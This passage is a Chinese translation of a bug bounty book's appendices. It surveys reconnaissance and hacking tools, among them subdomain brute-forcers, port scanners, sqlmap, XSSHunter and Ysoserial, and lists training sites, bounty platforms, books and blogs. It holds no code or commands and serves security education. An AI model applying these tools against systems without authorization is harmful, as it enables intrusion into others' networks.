OWASP Amass 工具 (github.com/OWASP/Amass) 通过抓取数据源、使用递归暴力破解、爬取网页归档、排列或修改名称,并利用反向 DNS 扫描来获取子域名。Amass 还利用在解析过程中获得的 IP 地址来发现关联的网络块和自治系统号码(ASNs)。然后,它利用这些信息来构建目标网络的地图。
crt.sh 网站 (crt.sh/) 允许你浏览证书透明日志,以便查找与证书关联的子域名。证书注册可以揭示站点使用的其他子域名。你可以直接使用该网站,或者使用工具 SubFinder,它解析来自 crt.sh 的结果。
Knockpy
Knockpy (github.com/guelfoweb/knock/) 是一款 Python 工具,旨在通过遍历词汇列表来识别公司的网站子域名。识别子域名可以为你提供更大的可测试面,并增加找到成功漏洞的机会。
SubFinder
SubFinder (github.com/subfinder/subfinder/) 是一款用 Go 编写的子域名发现工具,通过使用被动在线来源来发现有效的子域名。它具有简单的模块化架构,旨在替代类似的工具 Sublist3r。SubFinder 使用被动来源、搜索引擎、代码粘贴板、互联网档案等来查找子域名。当它找到子域名时,它使用一个灵感来自工具 altdns 的排列模块来生成排列,并使用强大的暴力破解引擎来解析它们。如果需要,它还可以执行纯暴力破解。该工具具有高度可定制性,代码采用模块化方式构建,易于添加功能和修复错误。
发现
当你识别出一个程序的攻击面后,下一步是枚举文件和目录。这样做可以帮助你发现隐藏的功能、敏感文件、凭证等。
Gobuster
Gobuster (github.com/OJ/gobuster/) 是一个可以用来暴力破解 URI(目录和文件)以及 DNS 子域名的工具,支持通配符。它非常快速、可定制,并且易于使用。
SecLists
虽然严格来说,SecLists (github.com/danielmiessler/SecLists/) 本身不是一个工具,但它是一个可以在黑客攻击时使用的词汇表集合。这些词汇表包括用户名、密码、URL、模糊测试字符串、常见目录/文件/子域名等等。
Wfuzz
Wfuzz (github.com/xmendez/wfuzz/) 允许你在 HTTP 请求的任何字段中注入任何输入。通过使用 Wfuzz,你可以对 Web 应用程序的不同组件(如参数、身份验证、表单、目录或文件、头部等)执行复杂的攻击。你还可以在支持插件的情况下,将 Wfuzz 作为漏洞扫描器使用。
截图工具
在某些情况下,你的攻击面可能过大,无法测试其每个方面。当你需要检查一个很长的网站或子域名列表时,可以使用自动截图工具。这些工具允许你在不访问每个网站的情况下,直观地检查网站内容。
EyeWitness
EyeWitness (github.com/FortyNorthSecurity/EyeWitness/) 旨在截取网站截图,提供服务器头信息,并在可能的情况下识别默认凭证。它是一个非常适合用来检测哪些服务在常见 HTTP 和 HTTPS 端口上运行的工具,你可以结合其他工具(如 Nmap)一起使用,以快速枚举黑客目标。
Gowitness
Gowitness (github.com/sensepost/gowitness/) 是一个用 Go 编写的网站截图工具。它使用 Chrome Headless 生成网页界面的截图,并支持命令行操作。该项目受 EyeWitness 工具的启发。
HTTPScreenShot
HTTPScreenShot (github.com/breenmachine/httpscreenshot/) 是一个用于截取大量网站屏幕截图和 HTML 的工具。HTTPScreenShot 接受 IP 列表作为 URL 来进行截图。它还可以暴力破解子域名,将其添加到待截图的 URL 列表中,并对结果进行聚类以便更容易审查。
端口扫描
除了查找 URL 和子域名外,你还需要弄清楚哪些端口是开放的,以及服务器上运行了哪些应用程序。
Masscan
Masscan (github.com/robertdavidgraham/masscan/) 宣称是世界上最快的互联网端口扫描器。它可以在不到六分钟的时间内扫描整个互联网,每秒传输 1000 万个数据包。其结果与 Nmap 类似,唯一的区别是速度更快。此外,Masscan 允许你扫描任意的地址范围和端口范围。
Nmap
Nmap (nmap.org/)是一个免费的开源工具,用于网络发现和安全审计。Nmap 使用原始 IP 数据包来确定:
-
网络上有哪些主机可用
-
这些主机提供哪些服务(包括应用程序名称和版本)
-
他们运行的是哪些操作系统(及版本)
-
正在使用的是什么类型的数据包过滤器或防火墙
Nmap 网站提供了适用于 Windows、Mac 和 Linux 的完整安装说明。除了端口扫描外,Nmap 还包括一些脚本来构建附加功能。我常用的一个脚本是http-enum,它可以在端口扫描完服务器后列举出服务器上的文件和目录。
Reconnaissance
在你找到网站的 URI、子域名和端口后,你需要了解它们使用的技术以及它们连接的互联网的其他部分。以下工具将帮助你做到这一点。
BuiltWith
BuiltWith (builtwith.com/)帮助你识别目标上使用的不同技术。根据其网站的介绍,它可以检查超过 18,000 种互联网技术,包括分析工具、托管服务、CMS 类型等。
Censys
Censys (censys.io/)通过每天对 IPv4 地址空间进行 ZMap 和 ZGrab 扫描,收集有关主机和网站的数据。它维护着一个关于主机和网站如何配置的数据库。不幸的是,Censys 最近实施了付费模式,对于大规模黑客攻击来说费用较高,但免费的层级仍然有帮助。
Google Dorks
Google Dorking (www.exploit-db.com/google-hacking-database/)是指使用 Google 提供的高级语法来查找在手动浏览网站时无法轻易获取的信息。这些信息可能包括查找易受攻击的文件、外部资源加载的机会以及其他攻击面。
Shodan
Shodan (www.shodan.io/)是一个物联网的搜索引擎。Shodan 可以帮助你发现哪些设备连接到互联网,它们的位置以及谁在使用它们。当你探索潜在目标并尽可能多地了解目标的基础设施时,这尤其有帮助。
What CMS
What CMS (www.whatcms.org/)允许你输入 URL,并返回该网站最有可能使用的内容管理系统(CMS)。找出网站使用的 CMS 类型非常有帮助,因为:
-
了解网站使用的 CMS 能够帮助你洞察该网站代码的结构。
-
如果 CMS 是开源的,你可以浏览代码寻找漏洞,并在网站上进行测试。
-
该网站可能已过时,并且容易受到已披露的安全漏洞攻击。
Hacking Tools
使用黑客工具,你不仅可以自动化发现和枚举过程,还可以自动化查找漏洞的过程。
Bucket Finder
Bucket Finder (digi.ninja/files/bucket_finder_1.1.tar.bz2) 用于查找可读取的桶并列出其中的所有文件。它还可以快速找到存在但无法列出文件的桶。当你发现这类桶时,可以尝试使用 AWS CLI,详见“ HackerOne S3 Buckets Open”中的漏洞报告,参见第 223 页。
CyberChef
CyberChef (gchq.github.io/CyberChef/) 是一款多功能的编码和解码工具。
Gitrob
Gitrob (github.com/michenriksen/gitrob/) 帮助你查找可能已被推送到 GitHub 公共仓库中的敏感文件。Gitrob 会克隆用户或组织的仓库,直到可配置的深度,并遍历提交历史,标记出符合敏感文件签名的文件。它通过 Web 界面展示结果,便于浏览和分析。
Online Hash Crack
Online Hash Crack (www.onlinehashcrack.com/) 尝试恢复以哈希形式存储的密码、WPA 转储以及 MS Office 加密文件。它支持识别超过 250 种哈希类型,当你想要识别一个网站使用的哈希类型时非常有用。
sqlmap
你可以使用开源渗透工具 sqlmap (sqlmap.org/) 来自动化检测和利用 SQL 注入漏洞的过程。该网站列出了其功能,包括支持以下内容:
-
支持多种数据库类型,例如 MySQL、Oracle、PostgreSQL、MS SQL Server 等。
-
六种 SQL 注入技术
-
用户、密码哈希、权限、角色、数据库、表和列枚举
XSSHunter
XSSHunter (xsshunter.com/) 帮助你发现盲目 XSS 漏洞。在注册 XSSHunter 后,你将获得一个 xss.ht 短域名,用于标识你的 XSS 并托管你的有效载荷。当 XSS 触发时,它会自动收集发生位置的信息,并向你发送电子邮件通知。
Ysoserial
Ysoserial (github.com/frohoff/ysoserial/) 是一个概念验证工具,用于生成利用不安全 Java 对象反序列化漏洞的有效载荷。
移动端
尽管本书中的大多数漏洞是通过网页浏览器发现的,但在某些情况下,你需要分析移动应用程序作为测试的一部分。能够拆解并分析应用程序的组件,将帮助你了解它们是如何工作的,以及它们可能的漏洞所在。
dex2jar
dex2jar (sourceforge.net/projects/dex2jar/) 是一套移动黑客工具,可以将 dalvik 可执行文件(.dex 文件)转换为 Java .jar 文件,这使得审计 Android APK 更加轻松。
Hopper
Hopper (www.hopperapp.com/) 是一个逆向工程工具,让你能够反汇编、反编译和调试应用程序。它对于审核 iOS 应用程序非常有用。
JD-GUI
JD-GUI (github.com/java-decompiler/jd-gui/) 帮助你探索 Android 应用程序。它是一个独立的图形化工具,可以从 CLASS 文件中显示 Java 源代码。
Browser Plug-Ins
Firefox 有几个浏览器插件,你可以将它们与其他工具结合使用。虽然这里只介绍了 Firefox 版本的工具,但在其他浏览器上可能也有类似的工具可供使用。
FoxyProxy
FoxyProxy 是一个高级代理管理插件,适用于 Firefox。它增强了 Firefox 内建的代理功能。
User Agent Switcher
User Agent Switcher 在 Firefox 浏览器中添加了一个菜单和工具栏按钮,允许你切换用户代理。你可以使用此功能在执行一些攻击时伪装浏览器。
Wappalyzer
Wappalyzer 帮助你识别一个网站使用的技术,如 CloudFlare、框架、JavaScript 库等。
第二十二章:B
RESOURCES**

本附录包含了一些你可以用来扩展技能集的资源列表。这些资源的链接以及其他资源的链接,也可以在www.torontowebsitedeveloper.com/hacking-resources/和本书的网页nostarch.com/bughunting/上找到。
Online Training
在本书中,我通过真实的漏洞报告向你展示漏洞是如何工作的。尽管阅读完本书后,你应该对如何发现漏洞有实际的理解,但你永远不应该停止学习。你可以通过访问许多在线漏洞狩猎教程、正式课程、实践练习和博客,继续扩展你的知识并测试你的技能。
Coursera
Coursera 类似于 Udacity,但它与高等教育机构合作,提供大学水平的课程,而不是与公司和行业专业人士合作。Coursera 提供了一个网络安全专业化课程(*www.coursera.org/specializations/cyber-security/),该课程包括五门课程。我没有参加这个专业化课程,但发现课程 2:软件安全的视频内容非常有用。
The Exploit Database
尽管不是传统的在线培训课程,Exploit Database(*www.exploit-db.com/)记录了漏洞,并在可能的情况下将其链接到常见漏洞和暴露(CVE)。在不了解代码的情况下使用数据库中的代码片段可能是危险且具有破坏性的,因此在尝试使用之前务必仔细查看每一段代码。
Google Gruyere
Google Gruyere(*google-gruyere.appspot.com/)是一个具有漏洞的 Web 应用程序,提供教程和解释供你练习。你可以练习寻找常见的漏洞,如 XSS、权限提升、CSRF、路径遍历等其他漏洞。
Hacker101
Hacker101(*www.hacker101.com/),由 HackerOne 运营,是一个免费的黑客教育网站。它被设计为一个抓旗游戏,让你可以在一个安全且有奖励的环境中进行黑客攻击。
Hack The Box
Hack The Box(*www.hackthebox.eu/)是一个在线平台,允许你测试你的渗透测试技能,并与其他网站成员交换想法和方法论。它包含多个挑战,其中一些模拟现实场景,另一些则偏向抓旗游戏,并且经常更新。
PentesterLab
PentesterLab (pentesterlab.com/) 提供易受攻击的系统,供你用来测试和了解漏洞。练习基于不同系统中常见的漏洞。与编造的问题不同,该网站提供了真实的系统和真实的漏洞。一些课程可以免费使用,其他则需要 Pro 会员。会员资格非常值得投资。
Udacity
Udacity 提供多种主题的免费在线课程,包括网页开发和编程。我推荐查看 HTML 和 CSS 入门 (www.udacity.com/course/intro-to-html-and-css--ud304/), JavaScript 基础 (www.udacity.com/course/javascript-basics--ud804/), 以及计算机科学入门 (www.udacity.com/course/intro-to-computer-science--cs101/).
漏洞奖励平台
尽管所有网页应用程序都存在包含漏洞的风险,但过去并不容易报告漏洞。目前,有许多漏洞奖励平台可供选择,它们将黑客与需要漏洞测试的公司连接起来。
Bounty Factory
Bounty Factory (bountyfactory.io/) 是一个遵循欧洲规则和立法的欧洲漏洞奖励平台。它比 HackerOne、Bugcrowd、Synack 和 Cobalt 更新。
Bugbounty JP
Bugbounty JP (bugbounty.jp/)是另一个新的平台,被认为是日本首个漏洞奖励平台。
Bugcrowd
Bugcrowd (www.bugcrowd.com/)是另一个漏洞奖励平台,它通过验证漏洞并将报告发送给公司,将黑客与项目连接起来。Bugcrowd 包括不付费的漏洞披露项目和付费的漏洞奖励项目。该平台也运营公开和仅限邀请的项目,并管理 Bugcrowd 上的项目。
Cobalt
Cobalt (cobalt.io/) 是一家提供渗透测试服务的公司。与 Synack 类似,Cobalt 是一个封闭平台,参与需要预先批准。
HackerOne
HackerOne (www.hackerone.com/) 由一群黑客和安全领域的领导者创办,他们的动力是让互联网更安全。该平台将希望负责任地披露漏洞的黑客与希望接收漏洞报告的公司连接起来。HackerOne 平台包括不付费的漏洞披露项目和付费的漏洞奖励项目。HackerOne 上的项目可以是私密的(仅限邀请),也可以是公开的。截止目前,HackerOne 是唯一一个允许黑客在其平台上公开披露漏洞的平台,只要解决漏洞的项目同意的话。
Intigriti
Intigriti (www.intigriti.com/) 是另一个新的众包安全平台。它旨在以经济高效的方式识别和解决漏洞。该平台通过与经验丰富的黑客合作,促进在线安全测试,并具有强烈的欧洲焦点。
Synack
Synack (www.synack.com/) 是一个私人平台,提供众包渗透测试。参与 Synack 平台需要预先批准,包括完成测试和面试。与 Bugcrowd 类似,Synack 会管理并验证所有报告,然后将其转发给参与的公司。通常,Synack 上的报告会在 24 小时内得到验证并奖励。
Zerocopter
Zerocopter (www.zerocopter.com/) 是另一个较新的漏洞奖励平台。截止本写作时,参与该平台需要预先批准。
推荐阅读
无论你是在寻找书籍还是免费的在线阅读,许多资源都可供新手和经验丰富的黑客使用。
漏洞猎人日记
A Bug Hunter’s Diary,作者 Tobias Klein(No Starch Press,2011)考察了真实世界中的漏洞以及用于发现和测试漏洞的定制程序。Klein 还提供了如何发现和测试与内存相关漏洞的见解。
漏洞猎人方法论
漏洞猎人方法论 是由 Bugcrowd 的 Jason Haddix 维护的一个 GitHub 仓库。它为我们提供了关于成功黑客如何接近目标的深刻见解。该文档采用 Markdown 编写,是 Jason 在 DefCon 23 上的演讲 “How to Shot Web: Better Hacking in 2015” 的结果。你可以在 github.com/jhaddix/tbhm/ 找到该仓库以及 Haddix 的其他仓库。
Cure53 浏览器安全白皮书
Cure53 是一群安全专家,提供渗透测试服务、咨询和安全建议。谷歌委托该小组撰写了一份浏览器安全白皮书,现已免费提供。该白皮书尽可能以技术驱动为主,记录了过去的研究成果以及更新的创新发现。你可以在 github.com/cure53/browser-sec-whitepaper/ 阅读这份白皮书。
HackerOne Hacktivity
HackerOne 的 Hacktivity 信息流 (www.hackerone.com/hacktivity/ ) 列出了其漏洞奖励计划中报告的所有漏洞。尽管并非所有报告都是公开的,但你可以找到并阅读已公开的报告,从其他黑客那里学习技巧。
黑客攻击,第二版
Hacking: The Art of Exploitation,作者 Jon Erikson(No Starch Press,2008)专注于与内存相关的漏洞。它探讨了如何调试代码、检查溢出缓冲区、劫持网络通信、绕过保护机制以及利用加密弱点。
Mozilla 的错误追踪系统
Mozilla 的错误追踪系统 (bugzilla.mozilla.org/) 包含所有报告给 Mozilla 的与安全相关的问题。这是一个极好的资源,可以了解黑客发现的漏洞以及 Mozilla 如何处理这些漏洞。它甚至可能让你发现 Mozilla 软件中公司修复尚未完善的方面。
OWASP
开放 Web 应用安全项目(OWASP)是一个庞大的漏洞信息源,托管于 owasp.org。该网站提供了一个方便的 Security101 部分、备忘单、测试指南,以及对大多数漏洞类型的详细描述。
The Tangled Web
Michal Zalewski 的《The Tangled Web》(No Starch Press,2012)分析了整个浏览器安全模型,揭示了薄弱环节,并提供了关于 Web 应用安全的关键资料。尽管其中一些内容已经过时,但这本书为当前浏览器安全提供了很好的背景,并深入探讨了如何以及在哪里找到漏洞。
Twitter 标签
虽然 Twitter 上有很多杂音,但也有许多与安全和漏洞相关的有趣推文,使用了 #infosec 和 #bugbounty 标签。这些推文通常链接到详细的报告。
Web 应用黑客手册,第 2 版
Dafydd Stuttard 和 Marcus Pinto 的《The Web Application Hacker’s Handbook》(Wiley,2011)是黑客必读的书籍。该书由 Burp Suite 的创造者编写,涵盖了常见的 Web 漏洞,并提供了漏洞狩猎的方法论。
视频资源
如果你更喜欢更直观的、逐步的操作演示,或者甚至直接从其他黑客那里获得建议,你通常可以找到一些漏洞悬赏视频来观看。有些视频教程专门讲解漏洞狩猎,但你也可以访问漏洞悬赏会议的演讲,学习新的技术。
Bugcrowd LevelUp
LevelUp 是 Bugcrowd 的在线黑客会议。它包括来自漏洞悬赏社区黑客的各种话题的演讲。主题包括 Web、移动和硬件黑客攻击、技巧与窍门,以及初学者的建议。Bugcrowd 的 Jason Haddix 每年还会深入讲解他的侦察和信息收集方法。如果你什么都不看,一定要观看他的演讲。
你可以在 www.youtube.com/playlist?list=PLIK9nm3mu-S5InvR-myOS7hnae8w4EPFV 找到 2017 年会议的演讲视频,在 www.youtube.com/playlist?list=PLIK9nm3mu-S6gCKmlC5CDFhWvbEX9fNW6 找到 2018 年会议的演讲视频。
LiveOverflow
LiveOverflow (www.youtube.com/LiveOverflowCTF/ ) 提供了一系列由 Fabian Fäßler 制作的视频,分享了 Fabian 希望在刚开始时就拥有的黑客教程。它涵盖了广泛的黑客话题,包括 CTF 挑战的演示。
Web Development Tutorials YouTube
我运营一个名为 Web Development Tutorials 的 YouTube 频道 (www.youtube.com/yaworsk1/),其中包含多个系列。我的 Web Hacking 101 系列展示了与顶级黑客的访谈,包括 Frans Rosen、Arne Swinnen、FileDescriptor、Ron Chan、Ben Sadeghipour、Patrik Fehrenbach、Philippe Harewood、Jason Haddix 等人。我的 Web Hacking Pro Tips 系列提供了与另一位黑客深入讨论黑客思路、技术或漏洞的内容,经常是 Bugcrowd 的 Jason Haddix。
推荐博客
你还会发现一些有用的资源,包括由漏洞猎人撰写的博客。由于 HackerOne 是唯一一个直接在其网站上公开报告的平台注册平台,许多漏洞报告都会发布到漏洞猎人的社交媒体账号上。你还会发现一些黑客为初学者创建的教程和资源列表。
Brett Buerhaus 的博客
Brett Buerhaus 的个人博客 (buer.haus/) 详细记录了来自知名悬赏计划的有趣漏洞。他的文章包括关于他如何发现漏洞的技术细节,旨在帮助其他人学习。
Bugcrowd 博客
Bugcrowd 博客 (www.bugcrowd.com/about/blog/) 发布了一些非常有用的内容,包括与优秀黑客的访谈以及其他有价值的资料。
Detectify Labs 博客
Detectify 是一个在线安全扫描器,利用伦理黑客发现的问题和漏洞来检测 web 应用程序中的安全隐患。Frans Rosen 和 Mathias Karlsson 等人贡献了许多有价值的文章到博客中 (labs.detectify.com/).
Hacker Blog
Hacker Blog,地址是 thehackerblog.com/,是 Matthew Bryant 的个人博客。Bryant 是一些优秀黑客工具的作者,最著名的可能是 XSSHunter,你可以用它来发现盲 XSS 漏洞。他的技术文章通常涉及深入的安全研究。
HackerOne 博客
HackerOne 博客 (www.hackerone.com/blog/) 也发布一些有用的内容,比如推荐的博客、平台上的新功能(寻找新漏洞的好地方!)以及成为更好的黑客的技巧。
Jack Whitton 的博客
Jack Whitton,Facebook 的安全工程师,在被聘用之前曾是 Facebook 黑客名人堂的第二名。他的博客地址是 https://whitton.io/。虽然他更新不频繁,但每次发布的内容都非常深入且具有信息价值。
lcamtuf 的博客
Tangled Web 的作者 Michal Zalewski 有一个博客,地址是 lcamtuf.blogspot.com/。他的文章包含一些高级话题,非常适合在你有了一定基础后阅读。
NahamSec
NahamSec (nahamsec.com/)是由 HackerOne 上的顶级黑客 Ben Sadeghipour 编写的博客,他的网络昵称也是 NahamSec。Sadeghipour 常常分享独特且有趣的总结,他也是我为 Web Hacking Pro Tips 系列采访的第一位人物。
Orange
Orange Tsai 的个人博客 (blog.orange.tw/)自 2009 年起发布了很多优秀的总结。近年来,他在 Black Hat 和 DefCon 上展示了他的技术发现。
Patrik Fehrenbach’s Blog
在本书中,我列出了 Patrik Fehrenbach 发现的若干漏洞,他在其博客 blog.it-securityguard.com/ 上还有更多漏洞分享。
Philippe Harewood’s Blog
Philippe Harewood 是一位非常出色的 Facebook 黑客,他分享了大量关于发现 Facebook 逻辑漏洞的信息。你可以通过 philippeharewood.com/ 访问他的博客。我有幸在 2016 年 4 月采访了 Philippe,无法过分强调他的聪明才智以及他博客的非凡:我读过每一篇文章。
Portswigger Blog
Portswigger 团队负责开发 Burp Suite,并且经常在其博客上发布有关发现和总结的文章,博客地址为 portswigger.net/blog/。Portswigger 的首席研究员 James Kettle 也多次在 Black Hat 和 DefCon 上展示他的安全发现。
Project Zero Blog
Google 的精英黑客团队 Project Zero 维护着一个博客,地址为 googleprojectzero.blogspot.com/。Project Zero 团队详细介绍了各种应用程序、平台等中的复杂漏洞。由于这些文章比较高级,如果你刚开始学习黑客技术,可能会对细节理解感到困难。
Ron Chan’s Blog
Ron Chan 经营着一个个人博客,详细记录了漏洞赏金的总结,博客地址是 ngailong.wordpress.com/。在撰写本文时,Chan 是 Uber 漏洞赏金计划的顶级黑客,同时也是 Yahoo 漏洞赏金计划的第三名,这一点非常了不起,因为他仅在 2016 年 5 月才注册了 HackerOne。
XSS Jigsaw
XSS Jigsaw (blog.innerht.ml/)是由 HackerOne 上的顶级黑客 FileDescriptor 编写的一个令人惊叹的博客,他同时也是本书的技术审阅者。FileDescriptor 在 Twitter 上发现了多个漏洞,他的文章非常详细、技术性强且写得非常好。他还是 Cure53 的成员。
ZeroSec
Andy Gill,一位漏洞赏金黑客和渗透测试员,维护着 ZeroSec 博客 (blog.zsec.uk/)。Gill 涵盖了多种与安全相关的话题,并且写了《Breaking into Information Security: Learning the Ropes 101》一书,该书可以在 Leanpub 上购买。


浙公网安备 33010602011771号